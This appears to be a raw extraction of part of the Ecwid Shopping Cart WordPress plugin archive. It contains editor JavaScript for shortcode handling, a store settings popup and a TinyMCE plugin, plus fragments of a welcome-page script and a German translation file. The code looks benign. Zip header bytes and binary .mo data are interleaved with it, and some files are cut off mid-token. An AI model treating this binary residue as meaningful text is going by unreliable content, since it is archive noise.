})();PK������Ê—[02oAL��L��-��ecwid-shopping-cart/js/store-editor-common.jsnu�„[µü¤��������function ecwid_get_store_shortcode(content) { if (!wp.shortcode) return false; var found = false; for (var i = 0; i < ecwid_params.store_shortcodes.length; i++) { var candidate = false; var index = 0; while (candidate = wp.shortcode.next(ecwid_params.store_shortcodes[i], content, index)) { if (candidate && (!candidate.shortcode.attrs.named.widgets || candidate.shortcode.attrs.named.widgets.toLowerCase().indexOf('productbrowser') != -1)) { found = candidate; break; } index = candidate.index + 1; } if (found) break; } if (typeof found == 'undefined') { found = false; } // Workaround for the caching bug that does allow to have properly parsed attributes if (found) { var tmpfound = false; for (var i = 0; i < ecwid_params.store_shortcodes.length; i++) { var shortcode_name = ecwid_params.store_shortcodes[i]; tmpfound = wp.shortcode.next(shortcode_name, found.content.replace('[' + shortcode_name, '[' + shortcode_name + ' timestamp="' + (new Date()).getMilliseconds() + '"')); if (tmpfound) { break; } } found.shortcode.attrs = tmpfound.shortcode.attrs; delete found.shortcode.attrs.named.timestamp; } return found; } function ecwid_create_gutenberged_shortcode_string( shortcode ) { if ( typeof shortcode == 'string' ) return shortcode; return shortcode.string(); var result = '<!-- wp:ecwid/store-block '; var attributes = { default_category_id: shortcode.attrs.named.default_category_id, show_categories: shortcode.attrs.named.widgets.indexOf('categories') !== -1, show_search: shortcode.attrs.named.widgets.indexOf('search') !== -1 } result += JSON.stringify(attributes); result += ' -->'; result += shortcode.string(); result += '<!-- /wp:ecwid/store-block -->'; return result; }PK������Ê—[ ’ÑG����0��ecwid-shopping-cart/js/store-editor-gutenberg.jsnu�„[µü¤��������jQuery(document).ready(function() { $popup = jQuery('#ecwid-store-popup-content'); /* jQuery('.media-modal-content', $popup) .attr('data-mode', 'store-settings') .attr('data-active-dialog', 'store-settings'); jQuery('.media-menu-item') .removeClass('active') .filter('[data-content=store-settings]').addClass('active'); */ /* * Media buttons handlers */ jQuery('#update-ecwid-button,#insert-ecwid-button').click(ecwid_open_store_popup); /* * Close button handler */ jQuery('.media-modal-close', $popup).click(function() { $popup.data('block-props').attributes.meta1 = 'good' + Math.random(); $popup.removeClass('open'); return false; }); jQuery(document).keydown(function(e) { if (e.keyCode == 27 && $popup.hasClass('open')) { $popup.removeClass('open'); return false; } }); /* * Returns default parameters object */ getDefaultParams = function() { return { 'show_search': true, 'show_minicart': false, 'show_categories': false, 'categories_per_row': 3, 'grid_rows': ecwid_pb_defaults.grid_rows, 'grid_columns': ecwid_pb_defaults.grid_columns, 'table_rows': ecwid_pb_defaults.table_rows, 'list_rows': ecwid_pb_defaults.list_rows, 'default_category_id': 0, 'default_product_id': 0, 'category_view': 'grid', 'search_view': 'list', 'minicart_layout': 'MiniAttachToProductBrowser' } } /* * Handles media modal menus */ jQuery('.media-menu-item', $popup).click(function() { jQuery('.media-menu .media-menu-item', $popup).removeClass('active'); jQuery(this).addClass('active'); jQuery('.media-modal-content', $popup).attr('data-active-dialog', jQuery(this).attr('data-content')); jQuery('.media-menu').removeClass('visible'); return false; }); jQuery('h1', $popup).click(function() { jQuery('.media-menu').toggleClass('visible'); }) /* * Main button click */ jQuery('.button-primary', $popup).click(function() { var result = {}, defaults = getDefaultParams(); result.widgets = 'productbrowser'; for (var i in {search:1, categories:1, minicart:1}) { if (jQuery('input[name=show_' + i + ']').prop('checked')) { result.widgets += ' ' + i; } } getNumber = function(name, fallback) { var value = parseInt(jQuery('[name=' + name + ']', $popup).val()); if (isNaN(value) || value < 0) { value = fallback; } return value; } getString = function(name, values, fallback) { var value = jQuery('[name=' + name + ']', $popup).val(); if (jQuery.inArray(value, values) == -1) { value = fallback; } return value; } result.categories_per_row = getNumber('categories_per_row', defaults.categories_per_row); result.grid = getNumber('grid_rows', defaults.grid_rows) + ',' + getNumber('grid_columns', defaults.grid_columns); result.list = getNumber('list_rows', defaults.list_rows); result.table = getNumber('table_rows', defaults.table_rows); result.default_category_id = getNumber('default_category_id', defaults.default_category_id); result.default_product_id = getNumber('default_product_id', defaults.default_product_id); result.category_view = getString('category_view', ['list', 'grid', 'table'], defaults.category_view); result.search_view = getString('search_view', ['list', 'grid', 'table'], defaults.search_view); result.minicart_layout = defaults.minicart_layout; $popup.data('block-props').setAttributes(result); jQuery('#ecwid-store-popup-content').removeClass('open'); }); updatePreview = function() { jQuery('.store-settings input[type=checkbox]', $popup).each(function(idx, el) { var widget = jQuery(el).parent().attr('data-ecwid-widget'); var preview = jQuery('.store-settings-preview svg path.' + widget, $popup); if (jQuery(el).prop('checked')) { jQuery('.store-settings-wrapper').addClass('ecwid-' + widget); } else { jQuery('.store-settings-wrapper').removeClass('ecwid-' + widget); } }); } jQuery('.store-settings-wrapper label', $popup).hover( function() { jQuery('.store-settings-wrapper').attr('data-ecwid-widget-hover', jQuery(this).attr('data-ecwid-widget')); }, function() { jQuery('.store-settings-wrapper').attr('data-ecwid-widget-hover', ''); } ); jQuery('.store-settings input[type=checkbox]', $popup).change(updatePreview); }); buildParams = function(attributes) { if (jQuery.inArray(attributes.category_view, ['grid', 'list', 'table']) == -1) { attributes.category_view = undefined; } if (!jQuery.inArray(attributes.search_view, ['grid', 'list', 'table']) == -1) { attributes.search_view = undefined; } var defaults = getDefaultParams(); if (!attributes.grid || attributes.grid.match(/^\d+,\d+$/) === null) { attributes.grid = defaults.grid_columns + ',' + defaults.grid_rows; } var grid = attributes.grid.match(/^(\d+),(\d+)/); attributes.grid_rows = grid[1]; attributes.grid_columns = grid[2]; for (var i in {'categories_per_row': defaults.categories_per_row, 'list': defaults.list_rows, 'table': defaults.table_rows, 'grid_rows': defaults.grid_rows, 'grid_columns': defaults.grid_columns, 'default_category_id': 0, 'default_product_id': 0}) { parsed = parseInt(attributes[i]); if (isNaN(parsed) || parsed < 0) { attributes[i] = undefined; } } var widgets = attributes.widgets; if (typeof widgets == 'undefined') { widgets = "productbrowser"; } widgets = widgets.split(/[^a-z^A-Z^0-9^-^_]/); return { 'show_search': jQuery.inArray('search', widgets) != -1, 'show_categories': jQuery.inArray('categories', widgets) != -1, 'show_minicart': jQuery.inArray('minicart', widgets) != -1, 'categories_per_row': attributes.categories_per_row, 'category_view': attributes.category_view, 'search_view': attributes.search_view, 'list_rows': attributes.list, 'table_rows': attributes.table, 'grid_rows': grid[1], 'grid_columns': grid[2], 'default_category_id': attributes.default_category_id, 'default_product_id': attributes.default_product_id, 'minicart_layout': 'attachToCategories' }; } ecwid_open_store_popup = function( props ) { $popup.data('block-props', props); var attributes = buildParams(props.attributes); params = {}; jQuery.extend(params, getDefaultParams(), attributes ); for (var i in params) { var el = jQuery('[name=' + i + ']', $popup); if (el.attr('type') == 'checkbox') { el.prop('checked', params[i]); } else { el.val(params[i]); } } // mode determines whether it is a new store or not, and active dialog is the current tab // in other words, mode = [add-store,store-settings] and active dialog is [add-store|store-settings, appearance] // buttons and menu items are for mode, current title and content are for dialog jQuery('.media-modal-content', $popup).attr('data-mode', 'store-settings'); jQuery('.media-modal-content', $popup).attr('data-active-dialog', 'store-settings'); jQuery('.media-menu-item') .removeClass('active') .filter('[data-content=store-settings]').addClass('active'); updatePreview(); $popup.addClass('open'); return false; }; PK������Ê—[½dZÝ����*��ecwid-shopping-cart/js/store-editor-mce.jsnu�„[µü¤��������/* global tinymce */ tinymce.PluginManager.add( 'ecwid', function( editor ) { var toolbarActive = false; function editStore( img ) { ecwid_open_store_popup(); } function removeImage( node ) { var wrap; if ( node.nodeName === 'DIV' && editor.dom.hasClass( node, 'ecwid-store-wrap' ) ) { wrap = node; } else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) { wrap = editor.dom.getParent( node, 'div.ecwid-store-wrap' ); } if ( wrap ) { if ( wrap.nextSibling ) { editor.selection.select( wrap.nextSibling ); } else if ( wrap.previousSibling ) { editor.selection.select( wrap.previousSibling ); } else { editor.selection.select( wrap.parentNode ); } editor.selection.collapse( true ); editor.nodeChanged(); editor.dom.remove( wrap ); } else { editor.dom.remove( node ); } removeToolbar(); editor.dom.remove(editor.dom.select('#ecwid-edit-store-button')); } function addToolbar( node ) { var rectangle, toolbarHtml, toolbar, left, dom = editor.dom; removeToolbar(node); // Don't add to other images if ( ! node || node.nodeName !== 'IMG' || node.className.indexOf('ecwid-store-editor') == -1 ) { return; } dom.setAttrib( node, 'data-ecwid-store-select', 1 ); rectangle = dom.getRect( node ); toolbarHtml = '<div class="dashicons dashicons-no-alt remove" data-mce-bogus="1"></div>'; toolbar = dom.create( 'div', { 'id': 'ecwid-store-toolbar', 'data-mce-bogus': '1', 'contenteditable': false }, toolbarHtml ); if ( editor.rtl ) { left = rectangle.x + rectangle.w - 82; } else { left = rectangle.x; } editor.getBody().appendChild( toolbar ); dom.setStyles( toolbar, { top: rectangle.y, left: left }); toolbarActive = true; } this.addToolbar = function() { addToolbar( jQuery(editor.dom.doc.body).find('.ecwid-store-editor').get(0) ); } function removeToolbar(parentNode) { if (parentNode && editor.dom.getAttrib( parentNode, 'class') == 'ecwid-store-editor' ) { var toolbar = editor.dom.get( 'wp-image-toolbar' ); if ( toolbar ) { editor.dom.remove( toolbar ); } } var toolbar = editor.dom.get( 'ecwid-store-toolbar' ); if ( toolbar ) { editor.dom.remove( toolbar ); } // also remove image toolbar editor.dom.setAttrib( editor.dom.select( 'img[data-ecwid-store-select]' ), 'data-ecwid-store-select', null ); toolbarActive = false; } editor.onInit.add(function(editor) { dom = editor.dom; dom.bind( editor.getDoc(), 'dragstart', function( event ) { var node = editor.selection.getNode(); // Prevent dragging images out of the caption elements if ( node.nodeName === 'IMG' && dom.getParent( node, '.wp-caption' ) ) { event.preventDefault(); } // Remove toolbar to avoid an orphaned toolbar when dragging an image to a new location removeToolbar(); }); }); editor.onKeyUp.add( function( editor, event ) { var node, wrap, P, spacer, selection = editor.selection, keyCode = event.keyCode, dom = editor.dom; if ( keyCode === 46 || keyCode === 8 ) { checkEcwid(); } }); editor.onKeyDown.add( function( editor, event ) { var node, wrap, P, spacer, selection = editor.selection, keyCode = event.keyCode, dom = editor.dom; if ( keyCode == 27 ) { jQuery('#ecwid-store-popup-content').removeClass('open'); return false; } if ( keyCode === 46 || keyCode === 8 ) { node = selection.getNode(); if ( node.nodeName === 'DIV' && dom.hasClass( node, 'ecwid-store-wrap' ) ) { wrap = node; } else if ( node.nodeName === 'IMG' ) { wrap = dom.getParent( node, 'div.ecwid-store-wrap' ); } if ( wrap ) { dom.events.cancel( event ); removeImage( node ); editor.dom.remove(editor.dom.select('#ecwid-edit-store-button')); return false; } removeToolbar(); } // Key presses will replace the image so we need to remove the toolbar if ( toolbarActive ) { if ( event.ctrlKey || event.metaKey || event.altKey || ( keyCode < 48 && keyCode > 90 ) || keyCode > 186 ) { return; } removeToolbar(); editor.dom.remove(editor.dom.select('#ecwid-edit-store-button')); } }); editor.onMouseDown.add( function( editor, event ) { if ( editor.dom.getParent( event.target, '#ecwid-store-toolbar' ) ) { if ( tinymce.Env.ie ) { // Stop IE > 8 from making the wrapper resizable on mousedown event.preventDefault(); } } else if ( event.target.nodeName !== 'IMG' ) { removeToolbar(); if (event.target.nodeName == 'INPUT' && event.target.id == 'ecwid-edit-store-button') { ecwid_open_store_popup(); } } }); editor.onMouseUp.add( function( editor, event ) { var image, node = event.target, dom = editor.dom; // Don't trigger on right-click if ( event.button && event.button > 1 ) { return; } if ( node.nodeName === 'DIV' && dom.getParent( node, '#ecwid-store-toolbar' ) ) { image = dom.select( 'img[data-ecwid-store-select]' )[0]; if ( image ) { editor.selection.select( image ); if ( dom.hasClass( node, 'remove' ) ) { removeImage( image ); } else if ( dom.hasClass( node, 'edit' ) ) { editStore( image ); } } } else if ( node.nodeName === 'IMG' && ! editor.dom.getAttrib( node, 'data-ecwid-store-select' ) ) { addToolbar( node ); } else if ( node.nodeName !== 'IMG' ) { removeToolbar(); } }); // Replace Read More/Next Page tags with images editor.onBeforeSetContent.add( function( editor, e ) { if ( e.content ) { var found = ecwid_get_store_shortcode(e.content); if (!found) return; var start = found.index; var end = found.index + found.content.length; var content = e.content; var gutenStart = content.indexOf('<!-- wp:ecwid/store-block'); var gutenEnd = content.indexOf('<!-- /wp:ecwid/store-block -->') + '<!-- /wp:ecwid/store-block -->'.length; if (gutenStart != -1 && gutenEnd != -1) { var gutenberged = content.substr(gutenStart, gutenEnd); if (gutenberged.indexOf(found.content) != -1) { start = gutenStart; end = gutenEnd; } } var store = '<img height="200" width="100%" data-ecwid-shortcode="' + window.encodeURIComponent(found.content) + '" src="' + ecwid_store_svg + '" data-mce-placeholder="true" data-mce-resize="false" class="ecwid-store-editor mceItem">'; e.content = e.content.substr(0, start) + store + e.content.substr(end); } }); // Replace images with tags editor.onPostProcess.add( function( editor, e ) { if ( e.get ) { return e.content = e.content.replace( /(<img [^>]*data-ecwid-shortcode=[^>]+>)/g, function( match, image ) { var data = window.decodeURIComponent(jQuery(image).attr('data-ecwid-shortcode')); if ( data ) { return data; } return match; }); } }); });PK������Ê—[… —}K/��K/��+��ecwid-shopping-cart/js/store-editor-page.jsnu�„[µü¤��������function ecwidIsTinyMCEActive() { return typeof tinyMCE != 'undefined' && tinyMCE.activeEditor && !tinyMCE.activeEditor.isHidden(); } jQuery(document).ready(function() { $popup = jQuery('#ecwid-store-popup-content'); /* * Media buttons handlers */ // jQuery('#update-ecwid-button,#insert-ecwid-button').click(ecwid_open_store_popup); jQuery(document).on('click', '#update-ecwid-button,#insert-ecwid-button', ecwid_open_store_popup); /* * Close button handler */ jQuery('.media-modal-close', $popup).click(function() { $popup.removeClass('open'); return false; }); jQuery(document).keydown(function(e) { if (e.keyCode == 27 && $popup.hasClass('open')) { $popup.removeClass('open'); return false; } }); /** * Builds params object from the wp.shortcode * * @param shortcode * @returns {*} */ buildParams = function(shortcode) { if (!shortcode) return {}; var attributes = jQuery.extend({}, shortcode.shortcode.attrs.named); if (jQuery.inArray(attributes.category_view, ['grid', 'list', 'table']) == -1) { attributes.category_view = undefined; } if (!jQuery.inArray(attributes.search_view, ['grid', 'list', 'table']) == -1) { attributes.search_view = undefined; } var defaults = getDefaultParams(); if (!attributes.grid || attributes.grid.match(/^\d+,\d+$/) === null) { attributes.grid = defaults.grid_columns + ',' + defaults.grid_rows; } var grid = attributes.grid.match(/^(\d+),(\d+)/); attributes.grid_rows = grid[1]; attributes.grid_columns = grid[2]; for (var i in {'categories_per_row': defaults.categories_per_row, 'list': defaults.list_rows, 'table': defaults.table_rows, 'grid_rows': defaults.grid_rows, 'grid_columns': defaults.grid_columns, 'default_category_id': 0, 'default_product_id': 0}) { parsed = parseInt(attributes[i]); if (isNaN(parsed) || parsed < 0) { attributes[i] = undefined; } } var widgets = attributes.widgets; if (typeof widgets == 'undefined') { widgets = "productbrowser"; } widgets = widgets.split(/[^a-z^A-Z^0-9^-^_]/); return { 'show_search': jQuery.inArray('search', widgets) != -1, 'show_categories': jQuery.inArray('categories', widgets) != -1, 'show_minicart': jQuery.inArray('minicart', widgets) != -1, 'categories_per_row': attributes.categories_per_row, 'category_view': attributes.category_view, 'search_view': attributes.search_view, 'list_rows': attributes.list, 'table_rows': attributes.table, 'grid_rows': grid[1], 'grid_columns': grid[2], 'default_category_id': attributes.default_category_id, 'default_product_id': attributes.default_product_id, 'minicart_layout': 'MiniAttachToProductBrowser' }; } /* * Returns default parameters object */ getDefaultParams = function() { return { 'show_search': false, 'show_minicart': false, 'show_categories': false, 'categories_per_row': 3, 'grid_rows': ecwid_pb_defaults.grid_rows, 'grid_columns': ecwid_pb_defaults.grid_columns, 'table_rows': ecwid_pb_defaults.table_rows, 'list_rows': ecwid_pb_defaults.list_rows, 'default_category_id': 0, 'default_product_id': 0, 'category_view': 'grid', 'search_view': 'list', 'minicart_layout': 'MiniAttachToProductBrowser' } } /* * Tests whether there is a valid store shortcode */ checkEcwid = function() { var hasEcwid = false; if (ecwidIsTinyMCEActive()) { content = tinyMCE.activeEditor.getBody(); hasEcwid = jQuery(content).find('.ecwid-store-editor').length > 0; } else { hasEcwid = ecwid_get_store_shortcode(jQuery('#content').val()); } if (hasEcwid) { jQuery('.wp-media-buttons').addClass('has-ecwid'); } else { jQuery('.wp-media-buttons').removeClass('has-ecwid'); } if (ecwidIsTinyMCEActive()) { var body = tinymce.activeEditor.dom.doc.body; var button = tinymce.activeEditor.dom.select('#ecwid-edit-store-button'); if (hasEcwid && button.length == 0) { var button = jQuery('<input type="button" id="ecwid-edit-store-button" contenteditable="false" data-mce-bogus="true" value="' + ecwid_i18n.edit_store_appearance + '" />') .appendTo(body); } else if (!hasEcwid && button.length > 0) { tinymce.activeEditor.dom.remove(button); } if (hasEcwid) { var store = jQuery(body).find('.ecwid-store-editor'); var button = jQuery('#ecwid-edit-store-button', body); var width = this.buttonWidth; if (!width) { width = button.outerWidth(); this.buttonWidth = width; } button.css({ 'position': 'absolute', 'top': '' + (store.offset().top + 153) + 'px', 'left': '' + (store.offset().left + store.outerWidth() / 2 - width / 2 - 2) + 'px' }); } jQuery('#wp_editbtns').css('display', 'none !important'); } if (window.location.search.indexOf('show-ecwid=true') != -1 && typeof this.show_ecwid_processed == 'undefined') { ecwid_open_store_popup(); this.show_ecwid_processed = true; if (tinymce.activeEditor) { tinymce.activeEditor.plugins.ecwid.addToolbar(); } } } setInterval(checkEcwid, 1000); jQuery('#content-tmce').click(function() { checkEcwid() }); /* * Handles media modal menus */ jQuery('.media-menu-item', $popup).click(function() { jQuery('.media-menu .media-menu-item', $popup).removeClass('active'); jQuery(this).addClass('active'); jQuery('.media-modal-content', $popup).attr('data-active-dialog', jQuery(this).attr('data-content')); jQuery('.media-menu').removeClass('visible'); return false; }); jQuery('h1', $popup).click(function() { jQuery('.media-menu').toggleClass('visible'); }) /* * Main button click */ jQuery('.button-primary', $popup).click(function() { var result = {}, defaults = getDefaultParams(); result.widgets = 'productbrowser'; for (var i in {search:1, categories:1, minicart:1}) { if (jQuery('input[name=show_' + i + ']').prop('checked')) { result.widgets += ' ' + i; } } getNumber = function(name, fallback) { var value = parseInt(jQuery('[name=' + name + ']', $popup).val()); if (isNaN(value) || value < 0) { value = fallback; } return value; } getString = function(name, values, fallback) { var value = jQuery('[name=' + name + ']', $popup).val(); if (jQuery.inArray(value, values) == -1) { value = fallback; } return value; } result.categories_per_row = getNumber('categories_per_row', defaults.categories_per_row); result.grid = getNumber('grid_rows', defaults.grid_rows) + ',' + getNumber('grid_columns', defaults.grid_columns); result.list = getNumber('list_rows', defaults.list_rows); result.table = getNumber('table_rows', defaults.table_rows); result.default_category_id = getNumber('default_category_id', defaults.default_category_id); result.default_product_id = getNumber('default_product_id', defaults.default_product_id); result.category_view = getString('category_view', ['list', 'grid', 'table'], defaults.category_view); result.search_view = getString('search_view', ['list', 'grid', 'table'], defaults.search_view); result.minicart_layout = defaults.minicart_layout; var existingShortcode = ecwid_get_store_shortcode(jQuery('#content').val()); var shortcode = {}; if (!existingShortcode) { shortcode.shortcode = new wp.shortcode(); shortcode.shortcode.tag = ecwid_params.store_shortcode; shortcode.shortcode.type = 'single'; } else { shortcode = existingShortcode; } if (!ecwid_params.legacy_appearance) { var legacy_appearance_properties = [ 'categories_per_row', 'grid', 'list', 'table', 'category_view', 'search_view' ]; for (var i = 0; i < legacy_appearance_properties.length; i++) { delete result[legacy_appearance_properties[i]]; delete shortcode.shortcode.attrs.named[legacy_appearance_properties[i]]; } } for (var i in result) { shortcode.shortcode.attrs.named[i] = result[i]; } var stringToInsert = ecwid_create_gutenberged_shortcode_string(shortcode.shortcode); if (existingShortcode) { stringToReplace = existingShortcode.content; var match = jQuery('#content').val().match(/<!-- wp:ecwid\/store-block([^!]+)!-- \/wp:ecwid\/store-block -->/); if (match && match[1].indexOf(existingShortcode.content) > 0) { stringToReplace = match[0]; } jQuery('#content').val( jQuery('#content').val().replace(stringToReplace, stringToInsert) ); if (ecwidIsTinyMCEActive()) { jQuery(tinymce.activeEditor.getBody()).find('.ecwid-store-editor').attr('data-ecwid-shortcode', shortcode.shortcode.string()); } } else { if (ecwidIsTinyMCEActive()) { if ($popup.data('range')) { tinymce.activeEditor.selection.setRng($popup.data('range')); } tinymce.activeEditor.execCommand('mceInsertContent', false, stringToInsert); tinymce.activeEditor.execCommand('mceSetContent', false, tinymce.activeEditor.getBody().innerHTML); } else { getCursorPosition = function(el) { var pos = 0; if('selectionStart' in el) { pos = el.selectionStart; } else if('selection' in document) { el.focus(); var Sel = document.selection.createRange(); var SelLength = document.selection.createRange().text.length; Sel.moveStart('character', -el.value.length); pos = Sel.text.length - SelLength; } return pos; } var el = jQuery('#content'); var cursorPosition = getCursorPosition(el.get(0)); el.val(el.val().substr(0, cursorPosition) + stringToInsert + el.val().substr(cursorPosition)); } } jQuery('#ecwid-store-popup-content').removeClass('open'); }); updatePreview = function() { jQuery('.store-settings input[type=checkbox]', $popup).each(function(idx, el) { var widget = jQuery(el).parent().attr('data-ecwid-widget'); var preview = jQuery('.store-settings-preview svg path.' + widget, $popup); if (jQuery(el).prop('checked')) { jQuery('.store-settings-wrapper').addClass('ecwid-' + widget); } else { jQuery('.store-settings-wrapper').removeClass('ecwid-' + widget); } }); } jQuery('.store-settings-wrapper label', $popup).hover( function() { jQuery('.store-settings-wrapper').attr('data-ecwid-widget-hover', jQuery(this).attr('data-ecwid-widget')); }, function() { jQuery('.store-settings-wrapper').attr('data-ecwid-widget-hover', ''); } ); jQuery('.store-settings input[type=checkbox]', $popup).change(updatePreview); }); ecwid_open_store_popup = function() { var shortcode; if (ecwidIsTinyMCEActive()) { tinyMCE.activeEditor.save(); $popup.data('range', tinyMCE.activeEditor.selection.getRng()); var content = jQuery(tinyMCE.activeEditor.getBody()) .find('.ecwid-store-editor') .attr('data-ecwid-shortcode'); var shortcode = ecwid_get_store_shortcode(window.decodeURIComponent(content)); } else { shortcode = ecwid_get_store_shortcode(jQuery('#content').val()); } $popup.addClass('open'); params = {}; jQuery.extend(params, getDefaultParams(), buildParams(shortcode)); for (var i in params) { var el = jQuery('[name=' + i + ']', $popup); if (el.attr('type') == 'checkbox') { el.prop('checked', params[i]); } else { el.val(params[i]); } } // mode determines whether it is a new store or not, and active dialog is the current tab // in other words, mode = [add-store,store-settings] and active dialog is [add-store|store-settings, appearance] // buttons and menu items are for mode, current title and content are for dialog var current = !shortcode ? 'add-store' : 'store-settings'; jQuery('.media-modal-content', $popup).attr('data-mode', current); jQuery('.media-modal-content', $popup).attr('data-active-dialog', current); jQuery('.media-menu-item') .removeClass('active') .filter('[data-content=' + current + ']').addClass('active'); updatePreview(); if (ecwidIsTinyMCEActive()) { tinyMCE.activeEditor.execCommand('SelectAll'); tinyMCE.activeEditor.selection.collapse(true); } return false; }; PK������Ê—[â~"Á{��{��&��ecwid-shopping-cart/js/welcome-page.jsnu�„[µü¤��������earchParams) { searchParams = {}; } if (typeof(searchParams.keyword) != 'undefined') { jQuery('#product-search-input').val(searchParams.keyword); } if (typeof(searchParams.sortBy) != 'undefined') { if (searchParams.sortBy == 'NAME_ASC') { jQuery('#name').addClass('sorted asc'); } else if (searchParams.sortBy == 'NAME_DESC') { jQuery('#name').addClass('sorted desc'); } else if (searchParams.sortBy == 'SKU_ASC') { jQuery('#sku').addClass('sorted asc'); } else if (searchParams.sortBy == 'SKU_DESC') { jQuery('#sku').addClass('sorted desc'); } } } var renderPagination = function() { if (typeof(searchParams.page != 'undefined')) { jQuery('#current-page-selector').val(PK������Ê—[£¼ZsÇI��ÇI��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-de_DE.monu�„[µü¤��������Þ•����™������ä��Ó���¬ ������ø ��'���ù �����! �����; �� ���Ì ��<���Ö ��k�������������ˆ��P���š�����ë�� �������������&��/��=�����m�����‡�����ž�����¹�����Î�����ß�����ç�����û��M�����@���b�����£��$���¶�����Û��/���û��w���+�����£�����%��]���8�� ���–����� ��"���´��#���×�� ���û�� ����������,���"��!���O��y���q��(���ë������� ���1�����=�����N�����m��)���‰��+���³�� ���ß�����ë�� �������� �����&�����?�����X��‰���q��L���û�����H�����^�����r����������ª�� ���º��1���Å�����÷��������}�����*���™��!���Ä�����æ�����ï�� ����������8���&�� ���_��*���j�����•�� ���š��Þ���¤�����ƒ��Ò���“��2��f��]���™�����÷�� ���ü������������,���-�����Z��A���x�����º��-���Ò����������������9�����T��c���g��l���Ë�����8��!���J�����l��+���r��/���ž��W���Î�����& �����B �����[ ��1���q �����£ �����¬ �����Ç �� ���Ù ��1���æ ��(���!�����A!�����T!�����Z!�����_!�� ���z!�� ���ˆ!�����”!��T��®!�� ���#��>���#��–���P#�����ç#�����í#�����ö#����� $�����$�� ���$��/���*$��M���Z$��M���¨$��•���ö$��Š���Œ%�����&�����3&�����D&��T���U&��q���ª&��=���'��A���Z'�����œ'��,���¸'�����å'�����(�����(�����2(�����K(��â���`(�����C)�����b)��Ê���~)�����I*��P���Z*��€���«*�� ���,+�����6+��s���O+��"���Ã+�����æ+�����î+�����,��f��!,��$���ˆ-�����­-�����Ê-�����æ-�����ü-�� ���.�����.�����4.��s���I.��R���½.�����/��$���/��!���D/��:���f/��§���¡/��­���I0�����÷0��u��� 1�� ���‚1�����1��&���£1��(���Ê1�����ó1�����ü1�����2��4���2��&���Q2��œ���x2��7���3�� ���M3�����n3�����~3�����3�����«3��-���Ä3��*���ò3�����4�����.4�� ���G4�����R4�����m4�����…4�����4��›���º4��J���V5�����¡5�����»5�����Ì5�����ë5�����6�����6��:���&6�� ���a6�����l6�� ���ˆ6��4���)7��4���^7�����“7�����™7�����°7�����Ã7��P���Õ7�����&8��&���-8�����T8�� ���[8�� ��i8�����t9��4��Œ9��~��Á:��n���@<�����¯<�� ���µ<�����Ã<�����Ò<��(���ñ<��!���=��i���<=�����¦=��2���Å=�����ø=�����>�� ���0>�����Q>��s���e>��{���Ù>�����U?�����j?�����Š?��)���?��2���º?��^���í?��$���L@�����q@�����Œ@��7���¨@�����à@�����é@�����A�����A��2���-A��$���`A�����…A�� ���›A�����§A�����¬A�����ËA�����âA��$���ñA��U��B�����lC��I���C��±���ËC�����}D�����‚D�����ŠD�����žD�����°D�����¸D��H���ÈD��O���E��O���aE��Ä���±E��º���vF�����1G�����PG�����`G��s���iG��˜���ÝG��=���vH��C���´H�����øH��5���I�����HI�����fI�����€I�����•I�����¬I�����5���Z��������������m���f���S�����������.���!���c���#���������������T����������‹���;������N���>���†�������„�����������•������h���J���v���+�������—���{���y���<�������)���/���7�������������G��������������g���P���������_���j���L���^�������8���Y������� ����������� ���:���M����������‚���w���…���‘���C���������F���ƒ���E�������€���|���™���3���x���������B���Q���X������ ���\���K���‰���Œ��� �������&��������������A���e�����������D���l�������”���~������������������i�������t������Ž������� ���O�����������Š���d���I���@��������������,������ ���H���������������%���-������(���4���[��������������*���b���o���1�������6���’����������9���U���q������������������]���˜���}���k����������`���a�����������"���2���W��������������$���������'���n���R�������‡�����������=���s���?���z���r���“���0�������u���V�������ˆ����������–���p�������<a %s>Online store powered by Ecwid</a>�A link to your store page�A list of products recently viewed by a customer. Add this widget to the sidebar to let them later return to the products they saw in your shop.�Add Store�Add your Ecwid store to your site <nobr>in two clicks</nobr>�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Advanced�Advanced settings�After clicking button you need to login and accept permissions to use our plugin�Already have Ecwid account?�Appearance�Appearance settings�Back to Store Settings�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�Category shown by default�Choose widgets to show�Compatible with your theme�Configure Appearance�Congratulations!�Connect�Connect Ecwid store�Connect Your Ecwid Store�Connect your Ecwid account with this site to complete setup and start selling�Connect your Ecwid store to this site <nobr>in two clicks</nobr>�Connect your store�Connect your store to Wordpress site�Connect your store to this site�Connect your store<br /> to this WordPress site�Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again.�Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site.�Create Ecwid store�Create a free Ecwid account to manage your store and inventory.<br /> No credit card required�Dashboard�Default category ID�Default view mode on product pages�Default view mode on search results�Demo Store�Demo store�Disconnect store�Display horizontal categories above products�Display search box above products�Do you like your Ecwid online store? We'd appreciate it if you add your review and vote for the plugin on Wordpress site.�Don't have Ecwid account? Create it here�Don't have an Ecwid account?�Ecwid Badge�Ecwid Search Box�Ecwid Shopping Bag (Mini view)�Ecwid Shopping Bag (Normal)�Ecwid Shopping Cart — Advanced settings�Ecwid Shopping Cart — Appearance settings�Ecwid Store�Ecwid Store Page Link�Ecwid Team�Ecwid Vertical Categories�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box.�Ecwid plugin settings�Ecwid shopping cart�Ecwid shopping cart settings�Ecwid shopping cart widget�Edit Appearance�Edit Store�Enable minicart attached to horizontal categories�Features�Free and always up to date�Free plan always available with tons of features<br>at no additional cost. Seamless upgrades occur<br>automatically for free.�Free registration, No credit card required�Get Started, Create Ecwid Account�Get help�Get ready to sell online�Global Reach�Go to Ecwid site�Good job! Your store is set up and you're ready to sell.�Greetings!�Greetings! Your Ecwid store is now active.�Grid�Grid view�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products.�Hidden category�If you like Ecwid and want to help it grow and become the most popular e-commerce solution, you can now add a fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at "System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key" page. This feature is available for <a 